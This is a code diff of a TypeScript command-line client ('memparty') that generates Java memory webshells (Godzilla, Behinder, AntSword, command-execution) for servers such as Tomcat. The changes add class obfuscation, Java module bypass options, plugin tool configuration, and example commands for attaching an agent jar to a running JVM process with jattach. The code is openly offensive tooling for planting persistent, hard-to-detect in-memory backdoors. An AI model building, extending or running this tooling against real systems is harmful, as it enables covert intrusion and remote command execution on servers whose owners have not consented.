@@ -3633,58 +4131,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3633
4131
|
}
|
|
3634
4132
|
|
|
3635
4133
|
// src/commands/gen.ts
|
|
3636
|
-
import { readFileSync as
|
|
3637
|
-
import { Option as
|
|
3638
|
-
|
|
3639
|
-
// src/core/output.ts
|
|
3640
|
-
import { writeFileSync as writeFileSync4 } from "fs";
|
|
3641
|
-
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
3642
|
-
function hasBinaryExtension(path) {
|
|
3643
|
-
const lower = path.toLowerCase();
|
|
3644
|
-
return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
3645
|
-
}
|
|
3646
|
-
function shouldDecode(opts) {
|
|
3647
|
-
if (opts.decode !== void 0) return opts.decode;
|
|
3648
|
-
if (opts.outFile) return hasBinaryExtension(opts.outFile);
|
|
3649
|
-
return false;
|
|
3650
|
-
}
|
|
3651
|
-
function emitPayload(payload, opts, sinks = {}) {
|
|
3652
|
-
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
|
|
3653
|
-
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
3654
|
-
const decoded = shouldDecode(opts);
|
|
3655
|
-
if (opts.outFile) {
|
|
3656
|
-
if (decoded) {
|
|
3657
|
-
const buf = Buffer.from(payload, "base64");
|
|
3658
|
-
writeFile(opts.outFile, buf);
|
|
3659
|
-
return { destination: opts.outFile, size: buf.length, decoded: true };
|
|
3660
|
-
}
|
|
3661
|
-
writeFile(opts.outFile, payload);
|
|
3662
|
-
return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
|
|
3663
|
-
}
|
|
3664
|
-
if (decoded) {
|
|
3665
|
-
const buf = Buffer.from(payload, "base64");
|
|
3666
|
-
writeStdout(buf.toString("binary"));
|
|
3667
|
-
return { destination: "stdout", size: buf.length, decoded: true };
|
|
3668
|
-
}
|
|
3669
|
-
writeStdout(payload.endsWith("\n") ? payload : `${payload}
|
|
3670
|
-
`);
|
|
3671
|
-
return { destination: "stdout", size: payload.length, decoded: false };
|
|
3672
|
-
}
|
|
3673
|
-
function hasMultiplePackResults(r) {
|
|
3674
|
-
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
3675
|
-
}
|
|
3676
|
-
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
3677
|
-
if (hasMultiplePackResults(r)) {
|
|
3678
|
-
const n = Object.keys(r.allPackResults).length;
|
|
3679
|
-
throw new Error(
|
|
3680
|
-
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
3681
|
-
);
|
|
3682
|
-
}
|
|
3683
|
-
if (r.packResult === void 0) {
|
|
3684
|
-
throw new Error("Server returned no packResult.");
|
|
3685
|
-
}
|
|
3686
|
-
return emitPayload(r.packResult, opts, sinks);
|
|
3687
|
-
}
|
|
4134
|
+
import { readFileSync as readFileSync8 } from "fs";
|
|
4135
|
+
import { Option as Option4 } from "commander";
|
|
3688
4136
|
|
|
3689
4137
|
// src/core/request-builder.ts
|
|
3690
4138
|
import { randomInt as randomInt3 } from "crypto";
|
|
@@ -3706,6 +4154,7 @@ function generateSpringExpressionInjectorClassName() {
|
|
|
3706
4154
|
return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;
|
|
3707
4155
|
}
|
|
3708
4156
|
function buildMemShellRequest(opts) {
|
|
4157
|
+
validateRequiredRemoteOptions(opts.shellToolConfig ?? {}, opts.shellToolParams);
|
|
3709
4158
|
const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer) ? generateSpringExpressionInjectorClassName() : opts.injectorClassName;
|
|
3710
4159
|
return {
|
|
3711
4160
|
shellConfig: {
|
|
@@ -3718,21 +4167,22 @@ function buildMemShellRequest(opts) {
|
|
|
3718
4167
|
byPassJavaModule: opts.byPassJavaModule,
|
|
3719
4168
|
shrink: opts.shrink,
|
|
3720
4169
|
lambdaSuffix: opts.lambdaSuffix,
|
|
3721
|
-
probe: opts.probe
|
|
4170
|
+
probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
|
|
4171
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
|
|
4172
|
+
obfuscationScope: opts.obfuscationScope
|
|
3722
4173
|
},
|
|
3723
4174
|
shellToolConfig: {
|
|
3724
4175
|
shellClassName: opts.shellClassName,
|
|
3725
|
-
|
|
3726
|
-
|
|
3727
|
-
|
|
3728
|
-
|
|
3729
|
-
behinderPass: opts.behinderPass,
|
|
3730
|
-
antSwordPass: opts.antSwordPass,
|
|
4176
|
+
pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
|
|
4177
|
+
key: opts.godzillaKey,
|
|
4178
|
+
paramName: opts.commandParamName,
|
|
4179
|
+
template: opts.commandTemplate,
|
|
3731
4180
|
headerName: opts.headerName,
|
|
3732
4181
|
headerValue: opts.headerValue,
|
|
3733
4182
|
shellClassBase64: opts.shellClassBase64,
|
|
3734
4183
|
encryptor: opts.encryptor,
|
|
3735
|
-
implementationClass: opts.implementationClass
|
|
4184
|
+
implementationClass: opts.implementationClass,
|
|
4185
|
+
...opts.shellToolConfig
|
|
3736
4186
|
},
|
|
3737
4187
|
injectorConfig: {
|
|
3738
4188
|
injectorClassName,
|
|
@@ -3753,7 +4203,8 @@ function buildProbeRequest(opts) {
|
|
|
3753
4203
|
byPassJavaModule: opts.byPassJavaModule,
|
|
3754
4204
|
shrink: opts.shrink,
|
|
3755
4205
|
staticInitialize: opts.staticInitialize,
|
|
3756
|
-
lambdaSuffix: opts.lambdaSuffix
|
|
4206
|
+
lambdaSuffix: opts.lambdaSuffix,
|
|
4207
|
+
obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
|
|
3757
4208
|
},
|
|
3758
4209
|
probeContentConfig: {
|
|
3759
4210
|
host: opts.host,
|
|
@@ -3761,15 +4212,27 @@ function buildProbeRequest(opts) {
|
|
|
3761
4212
|
sleepServer: opts.sleepServer,
|
|
3762
4213
|
server: opts.server,
|
|
3763
4214
|
reqParamName: opts.reqParamName,
|
|
3764
|
-
commandTemplate: opts.commandTemplate
|
|
4215
|
+
commandTemplate: opts.commandTemplate,
|
|
4216
|
+
respHeaderName: opts.respHeaderName
|
|
3765
4217
|
},
|
|
3766
4218
|
packer: opts.packer
|
|
3767
4219
|
};
|
|
3768
4220
|
}
|
|
3769
4221
|
|
|
4222
|
+
// src/core/agent.ts
|
|
4223
|
+
function supportsAgentLoadArguments(shellType, packer) {
|
|
4224
|
+
return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
|
|
4225
|
+
}
|
|
4226
|
+
function agentLoadExamples(agentArgs) {
|
|
4227
|
+
return [
|
|
4228
|
+
`java -jar agent.jar <pid> ${agentArgs}`,
|
|
4229
|
+
`jattach <pid> load instrument false agent.jar=${agentArgs}`
|
|
4230
|
+
];
|
|
4231
|
+
}
|
|
4232
|
+
|
|
3770
4233
|
// src/wizard/memshell-wizard.ts
|
|
3771
|
-
import { readFileSync as
|
|
3772
|
-
import { checkbox, confirm, input, select
|
|
4234
|
+
import { readFileSync as readFileSync7 } from "fs";
|
|
4235
|
+
import { checkbox, confirm, input, select } from "@inquirer/prompts";
|
|
3773
4236
|
var JDK_CHOICES = [
|
|
3774
4237
|
{ name: "server default", value: "" },
|
|
3775
4238
|
...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
|
|
@@ -3777,19 +4240,12 @@ var JDK_CHOICES = [
|
|
|
3777
4240
|
value: name
|
|
3778
4241
|
}))
|
|
3779
4242
|
];
|
|
3780
|
-
function packerChoices(tree) {
|
|
3781
|
-
const choices = [];
|
|
3782
|
-
for (const parent of tree) {
|
|
3783
|
-
choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
|
|
3784
|
-
choices.push({ name: parent.name, value: parent.name });
|
|
3785
|
-
for (const child of parent.children) {
|
|
3786
|
-
choices.push({ name: ` ${child}`, value: child });
|
|
3787
|
-
}
|
|
3788
|
-
}
|
|
3789
|
-
return choices;
|
|
3790
|
-
}
|
|
3791
4243
|
async function runMemShellWizard(client) {
|
|
3792
|
-
const [config, packerTree] = await Promise.all([
|
|
4244
|
+
const [config, packerTree, toolConfigs] = await Promise.all([
|
|
4245
|
+
client.getConfig(),
|
|
4246
|
+
client.getPackerTree(),
|
|
4247
|
+
client.getShellToolConfigs()
|
|
4248
|
+
]);
|
|
3793
4249
|
const server = await select({
|
|
3794
4250
|
message: "Target server",
|
|
3795
4251
|
choices: Object.keys(config).map((s) => ({ name: s, value: s }))
|
|
@@ -3803,13 +4259,123 @@ async function runMemShellWizard(client) {
|
|
|
3803
4259
|
message: "Shell type",
|
|
3804
4260
|
choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
|
|
3805
4261
|
});
|
|
3806
|
-
const
|
|
3807
|
-
message: "Packer",
|
|
3808
|
-
choices:
|
|
4262
|
+
const category = await select({
|
|
4263
|
+
message: "Packer category",
|
|
4264
|
+
choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
|
|
3809
4265
|
});
|
|
4266
|
+
const selected = packerTree.find((packer2) => packer2.name === category);
|
|
4267
|
+
const packer = selected.children.length ? await select({
|
|
4268
|
+
message: "Packer variant",
|
|
4269
|
+
choices: selected.children.map((name) => ({ name, value: name }))
|
|
4270
|
+
}) : category;
|
|
3810
4271
|
const opts = { server, shellTool, shellType, packer };
|
|
3811
|
-
|
|
4272
|
+
const toolConfig = toolConfigForTool(toolConfigs, shellTool);
|
|
4273
|
+
if (toolConfig) {
|
|
4274
|
+
opts.shellToolParams = toolConfig.params;
|
|
4275
|
+
opts.shellToolConfig = {};
|
|
4276
|
+
const visibleParams = toolConfig.params.filter((param) => param.ui?.kind === "remote-select" || !useRandomDefaults(toolConfig));
|
|
4277
|
+
const singleRemoteParam = visibleParams.length === 1 && visibleParams[0]?.ui?.kind === "remote-select" ? visibleParams[0] : void 0;
|
|
4278
|
+
for (const param of visibleParams) {
|
|
4279
|
+
const value = await promptToolParam(param, param.name === singleRemoteParam?.name);
|
|
4280
|
+
if (value !== void 0 && value !== "") opts.shellToolConfig[param.name] = value;
|
|
4281
|
+
}
|
|
4282
|
+
} else {
|
|
4283
|
+
await promptLegacyToolConfig(opts, client);
|
|
4284
|
+
}
|
|
4285
|
+
const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" });
|
|
4286
|
+
if (shellClassName) opts.shellClassName = shellClassName;
|
|
4287
|
+
opts.urlPattern = await input({ message: "URL pattern", default: "/*" });
|
|
4288
|
+
const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES });
|
|
4289
|
+
if (jdk) opts.jdk = jdk;
|
|
4290
|
+
const toggles = await checkbox({
|
|
4291
|
+
message: "Options",
|
|
4292
|
+
choices: [
|
|
4293
|
+
{ name: "shrink bytecode", value: "shrink", checked: true },
|
|
4294
|
+
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
4295
|
+
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
4296
|
+
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
4297
|
+
{ name: "debug", value: "debug" },
|
|
4298
|
+
{ name: "class obfuscation (v3+)", value: "obfuscate" }
|
|
4299
|
+
]
|
|
4300
|
+
});
|
|
4301
|
+
opts.shrink = toggles.includes("shrink");
|
|
4302
|
+
opts.staticInitialize = toggles.includes("staticInitialize");
|
|
4303
|
+
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
4304
|
+
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
4305
|
+
opts.debug = toggles.includes("debug");
|
|
4306
|
+
opts.obfuscate = toggles.includes("obfuscate");
|
|
4307
|
+
const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
|
|
4308
|
+
if (!confirmed) {
|
|
4309
|
+
throw new Error("Cancelled by user.");
|
|
4310
|
+
}
|
|
4311
|
+
return opts;
|
|
4312
|
+
}
|
|
4313
|
+
async function promptToolParam(param, autoSelectFirst = false) {
|
|
4314
|
+
const label = param.label || param.name;
|
|
4315
|
+
if (param.ui?.kind === "remote-select") {
|
|
4316
|
+
const defaultSource = process.env[param.ui.urlQueryParam] ?? "";
|
|
4317
|
+
const sourceUrl = defaultSource || await input({
|
|
4318
|
+
message: `${label}: remote options URL (${param.ui.urlQueryParam})${param.ui.required ? "" : " (optional)"}`,
|
|
4319
|
+
default: defaultSource
|
|
4320
|
+
});
|
|
4321
|
+
if (!sourceUrl) return void 0;
|
|
4322
|
+
const controller = new AbortController();
|
|
4323
|
+
const timer = setTimeout(() => controller.abort(), 3e4);
|
|
4324
|
+
try {
|
|
4325
|
+
const options = await fetchRemoteOptions(
|
|
4326
|
+
sourceUrl,
|
|
4327
|
+
param.ui,
|
|
4328
|
+
param.type === "object",
|
|
4329
|
+
globalThis.fetch,
|
|
4330
|
+
controller.signal
|
|
4331
|
+
);
|
|
4332
|
+
if (options.length === 0) throw new Error(`No remote options returned for ${param.name}.`);
|
|
4333
|
+
if (autoSelectFirst) return options[0].value;
|
|
4334
|
+
const selected = await select({
|
|
4335
|
+
message: label,
|
|
4336
|
+
choices: options.map((option, index) => ({ name: option.label, value: String(index) }))
|
|
4337
|
+
});
|
|
4338
|
+
return options[Number(selected)].value;
|
|
4339
|
+
} finally {
|
|
4340
|
+
clearTimeout(timer);
|
|
4341
|
+
}
|
|
4342
|
+
}
|
|
4343
|
+
if (param.type === "object") {
|
|
4344
|
+
const raw = await input({ message: `${label} (JSON object, optional)`, default: "" });
|
|
4345
|
+
if (!raw) return void 0;
|
|
4346
|
+
let value;
|
|
4347
|
+
try {
|
|
4348
|
+
value = JSON.parse(raw);
|
|
4349
|
+
} catch (err) {
|
|
4350
|
+
throw new Error(`${param.name} must be valid JSON: ${err.message}`);
|
|
4351
|
+
}
|
|
4352
|
+
if (typeof value !== "object" || value === null || Array.isArray(value)) {
|
|
4353
|
+
throw new Error(`${param.name} must be a JSON object.`);
|
|
4354
|
+
}
|
|
4355
|
+
return value;
|
|
4356
|
+
}
|
|
4357
|
+
if (param.type === "enum") {
|
|
4358
|
+
return select({
|
|
4359
|
+
message: label,
|
|
4360
|
+
choices: [
|
|
4361
|
+
{ name: `backend default${param.placeholder ? ` (${param.placeholder})` : ""}`, value: "" },
|
|
4362
|
+
...param.options.map((option) => ({ name: option, value: option }))
|
|
4363
|
+
]
|
|
4364
|
+
});
|
|
4365
|
+
}
|
|
4366
|
+
if (param.name === "shellClassBase64") {
|
|
4367
|
+
const file = await input({ message: "Path to custom .class file" });
|
|
4368
|
+
return file ? readFileSync7(file).toString("base64") : void 0;
|
|
4369
|
+
}
|
|
4370
|
+
return input({ message: label, default: "", ...param.placeholder ? { placeholder: param.placeholder } : {} });
|
|
4371
|
+
}
|
|
4372
|
+
function useRandomDefaults(config) {
|
|
4373
|
+
return ["Godzilla", "GodzillaSession", "Behinder", "AntSword"].includes(config.tool);
|
|
4374
|
+
}
|
|
4375
|
+
async function promptLegacyToolConfig(opts, client) {
|
|
4376
|
+
switch (opts.shellTool) {
|
|
3812
4377
|
case "Godzilla":
|
|
4378
|
+
case "GodzillaSession":
|
|
3813
4379
|
opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
|
|
3814
4380
|
opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
|
|
3815
4381
|
break;
|
|
@@ -3821,14 +4387,14 @@ async function runMemShellWizard(client) {
|
|
|
3821
4387
|
break;
|
|
3822
4388
|
case "Command": {
|
|
3823
4389
|
opts.commandParamName = await input({ message: "Command param name", default: "cmd" });
|
|
3824
|
-
const
|
|
4390
|
+
const commandConfig = await client.getCommandConfigs();
|
|
3825
4391
|
opts.encryptor = await select({
|
|
3826
4392
|
message: "Encryptor",
|
|
3827
|
-
choices:
|
|
4393
|
+
choices: commandConfig.encryptors.map((value) => ({ name: value, value }))
|
|
3828
4394
|
});
|
|
3829
4395
|
opts.implementationClass = await select({
|
|
3830
4396
|
message: "Implementation class",
|
|
3831
|
-
choices:
|
|
4397
|
+
choices: commandConfig.implementationClasses.map((value) => ({ name: value, value }))
|
|
3832
4398
|
});
|
|
3833
4399
|
const template = await input({ message: "Command template (optional, {command} placeholder)", default: "" });
|
|
3834
4400
|
if (template) opts.commandTemplate = template;
|
|
@@ -3836,49 +4402,33 @@ async function runMemShellWizard(client) {
|
|
|
3836
4402
|
}
|
|
3837
4403
|
case "Custom": {
|
|
3838
4404
|
const file = await input({ message: "Path to custom .class file" });
|
|
3839
|
-
opts.shellClassBase64 =
|
|
4405
|
+
opts.shellClassBase64 = readFileSync7(file).toString("base64");
|
|
3840
4406
|
break;
|
|
3841
4407
|
}
|
|
3842
|
-
default:
|
|
3843
|
-
break;
|
|
3844
4408
|
}
|
|
3845
4409
|
opts.headerName = await input({ message: "Header name", default: "User-Agent" });
|
|
3846
4410
|
const headerValue = await input({ message: "Header value (optional)", default: "" });
|
|
3847
4411
|
if (headerValue) opts.headerValue = headerValue;
|
|
3848
|
-
const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" });
|
|
3849
|
-
if (shellClassName) opts.shellClassName = shellClassName;
|
|
3850
|
-
opts.urlPattern = await input({ message: "URL pattern", default: "/*" });
|
|
3851
|
-
const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES });
|
|
3852
|
-
if (jdk) opts.jdk = jdk;
|
|
3853
|
-
const toggles = await checkbox({
|
|
3854
|
-
message: "Options",
|
|
3855
|
-
choices: [
|
|
3856
|
-
{ name: "shrink bytecode", value: "shrink", checked: true },
|
|
3857
|
-
{ name: "static initialize", value: "staticInitialize", checked: true },
|
|
3858
|
-
{ name: "bypass Java module", value: "byPassJavaModule" },
|
|
3859
|
-
{ name: "lambda suffix", value: "lambdaSuffix" },
|
|
3860
|
-
{ name: "debug", value: "debug" }
|
|
3861
|
-
]
|
|
3862
|
-
});
|
|
3863
|
-
opts.shrink = toggles.includes("shrink");
|
|
3864
|
-
opts.staticInitialize = toggles.includes("staticInitialize");
|
|
3865
|
-
opts.byPassJavaModule = toggles.includes("byPassJavaModule");
|
|
3866
|
-
opts.lambdaSuffix = toggles.includes("lambdaSuffix");
|
|
3867
|
-
opts.debug = toggles.includes("debug");
|
|
3868
|
-
const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
|
|
3869
|
-
if (!confirmed) {
|
|
3870
|
-
throw new Error("Cancelled by user.");
|
|
3871
|
-
}
|
|
3872
|
-
return opts;
|
|
3873
4412
|
}
|
|
3874
4413
|
|
|
3875
4414
|
// src/commands/gen.ts
|
|
3876
4415
|
var REQUIRED = ["server", "tool", "type", "packer"];
|
|
3877
|
-
function toOptions(o) {
|
|
4416
|
+
async function toOptions(o, client) {
|
|
3878
4417
|
let shellClassBase64 = o.shellClassBase64;
|
|
3879
4418
|
if (o.shellClassFile) {
|
|
3880
|
-
shellClassBase64 =
|
|
3881
|
-
}
|
|
4419
|
+
shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
|
|
4420
|
+
}
|
|
4421
|
+
const hasPluginOptions = (o.toolOption?.length ?? 0) > 0 || o.toolConfig !== void 0;
|
|
4422
|
+
const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
|
|
4423
|
+
const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === o.tool)?.params : void 0;
|
|
4424
|
+
const fromFile = o.toolConfig === void 0 ? {} : parseToolConfigFile(
|
|
4425
|
+
o.toolConfig.trimStart().startsWith("{") ? o.toolConfig : readFileSync8(o.toolConfig, "utf8"),
|
|
4426
|
+
shellToolParams
|
|
4427
|
+
);
|
|
4428
|
+
const shellToolConfig = {
|
|
4429
|
+
...fromFile,
|
|
4430
|
+
...parseShellToolConfig(o.toolOption, shellToolParams)
|
|
4431
|
+
};
|
|
3882
4432
|
return {
|
|
3883
4433
|
server: o.server,
|
|
3884
4434
|
serverVersion: o.serverVersion,
|
|
@@ -3891,7 +4441,12 @@ function toOptions(o) {
|
|
|
3891
4441
|
shrink: o.shrink,
|
|
3892
4442
|
lambdaSuffix: o.lambdaSuffix,
|
|
3893
4443
|
probe: o.probe,
|
|
4444
|
+
obfuscate: o.obfuscate,
|
|
4445
|
+
obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
|
|
4446
|
+
obfuscationScope: o.obfuscationScope,
|
|
3894
4447
|
shellClassName: o.shellClassName,
|
|
4448
|
+
shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
|
|
4449
|
+
shellToolParams,
|
|
3895
4450
|
godzillaPass: o.godzillaPass,
|
|
3896
4451
|
godzillaKey: o.godzillaKey,
|
|
3897
4452
|
behinderPass: o.behinderPass,
|
|
@@ -3909,7 +4464,19 @@ function toOptions(o) {
|
|
|
3909
4464
|
};
|
|
3910
4465
|
}
|
|
3911
4466
|
function registerGenCommand(program) {
|
|
3912
|
-
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--
|
|
4467
|
+
program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
|
|
4468
|
+
new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
|
|
4469
|
+
"ALL",
|
|
4470
|
+
"MEMSHELL_INJECTOR",
|
|
4471
|
+
"INJECTOR",
|
|
4472
|
+
"MEMSHELL"
|
|
4473
|
+
])
|
|
4474
|
+
).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option(
|
|
4475
|
+
"--tool-option <name=value>",
|
|
4476
|
+
"shell-tool-specific option; repeat for multiple fields; object values use JSON (v3.1+)",
|
|
4477
|
+
(value, previous = []) => [...previous, value],
|
|
4478
|
+
[]
|
|
4479
|
+
).option("--tool-config <json|path>", "shell-tool options as a JSON object or a JSON file path").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
3913
4480
|
"after",
|
|
3914
4481
|
`
|
|
3915
4482
|
Examples:
|
|
@@ -3921,13 +4488,19 @@ Examples:
|
|
|
3921
4488
|
$ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
|
|
3922
4489
|
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
3923
4490
|
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
4491
|
+
$ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
|
|
4492
|
+
$ memparty gen -s Tomcat -t PluginTool -y Filter -p DefaultBase64 \\
|
|
4493
|
+
--tool-option profile='{"id":"web-1","name":"Web"}' --tool-option mode=fast
|
|
3924
4494
|
|
|
3925
4495
|
Note: run 'memparty config' to list the available servers, tools, shell
|
|
3926
|
-
types and packers.
|
|
3927
|
-
|
|
3928
|
-
|
|
3929
|
-
includes the gate header (shellToolConfig) you need for
|
|
4496
|
+
types and packers. On v3, parent packers are categories \u2014 pick a concrete
|
|
4497
|
+
variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
|
|
4498
|
+
support aggregate packers, but -o cannot write several variants to one file.
|
|
4499
|
+
The --json output includes the gate header (shellToolConfig) you need for
|
|
3930
4500
|
'memparty connect' / 'memparty exec'.
|
|
4501
|
+
Use 'memparty config tool-configs' to discover plugin string, enum and object
|
|
4502
|
+
fields. --tool-config can be an inline JSON object or a path to a JSON file.
|
|
4503
|
+
Repeated --tool-option values override matching keys from --tool-config.
|
|
3931
4504
|
`
|
|
3932
4505
|
).action(async (opts, cmd) => {
|
|
3933
4506
|
const client = createClient(cmd.optsWithGlobals());
|
|
@@ -3943,9 +4516,15 @@ includes the gate header (shellToolConfig) you need for
|
|
|
3943
4516
|
`Missing required option(s): ${missing.map((m) => `--${m}`).join(", ")}. Run in a terminal for the wizard, or pass -i.`
|
|
3944
4517
|
);
|
|
3945
4518
|
}
|
|
3946
|
-
memOpts = toOptions(opts);
|
|
4519
|
+
memOpts = await toOptions(opts, client);
|
|
3947
4520
|
}
|
|
3948
4521
|
const request = buildMemShellRequest(memOpts);
|
|
4522
|
+
const { agentArgs } = opts;
|
|
4523
|
+
if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
|
|
4524
|
+
throw new Error(
|
|
4525
|
+
"--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
4526
|
+
);
|
|
4527
|
+
}
|
|
3949
4528
|
const genMeta = {
|
|
3950
4529
|
server: memOpts.server,
|
|
3951
4530
|
serverVersion: memOpts.serverVersion,
|
|
@@ -3979,7 +4558,11 @@ includes the gate header (shellToolConfig) you need for
|
|
|
3979
4558
|
});
|
|
3980
4559
|
if (opts.json) {
|
|
3981
4560
|
const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
|
|
3982
|
-
const doc =
|
|
4561
|
+
const doc = {
|
|
4562
|
+
...response,
|
|
4563
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
4564
|
+
...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
|
|
4565
|
+
};
|
|
3983
4566
|
process.stdout.write(`${JSON.stringify(doc, null, 2)}
|
|
3984
4567
|
`);
|
|
3985
4568
|
return;
|
|
@@ -4008,14 +4591,17 @@ includes the gate header (shellToolConfig) you need for
|
|
|
4008
4591
|
if (result.destination !== "stdout") {
|
|
4009
4592
|
logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
|
|
4010
4593
|
}
|
|
4594
|
+
if (agentArgs !== void 0) {
|
|
4595
|
+
for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
|
|
4596
|
+
}
|
|
4011
4597
|
});
|
|
4012
4598
|
}
|
|
4013
4599
|
|
|
4014
4600
|
// src/commands/log.ts
|
|
4015
|
-
import { Option as
|
|
4601
|
+
import { Option as Option5 } from "commander";
|
|
4016
4602
|
function registerLogCommand(program) {
|
|
4017
4603
|
program.command("log").description("Show the global operation log").addOption(
|
|
4018
|
-
new
|
|
4604
|
+
new Option5("--category <name>", "filter by operation category").choices([
|
|
4019
4605
|
"gen",
|
|
4020
4606
|
"probe",
|
|
4021
4607
|
"connect",
|
|
@@ -4070,7 +4656,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
|
|
|
4070
4656
|
import { z } from "zod";
|
|
4071
4657
|
|
|
4072
4658
|
// src/core/localfile.ts
|
|
4073
|
-
import { existsSync as existsSync5, readFileSync as
|
|
4659
|
+
import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
|
|
4074
4660
|
import { dirname as dirname3, join as join6, resolve } from "path";
|
|
4075
4661
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
4076
4662
|
function remoteBasename(remotePath) {
|
|
@@ -4126,7 +4712,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
4126
4712
|
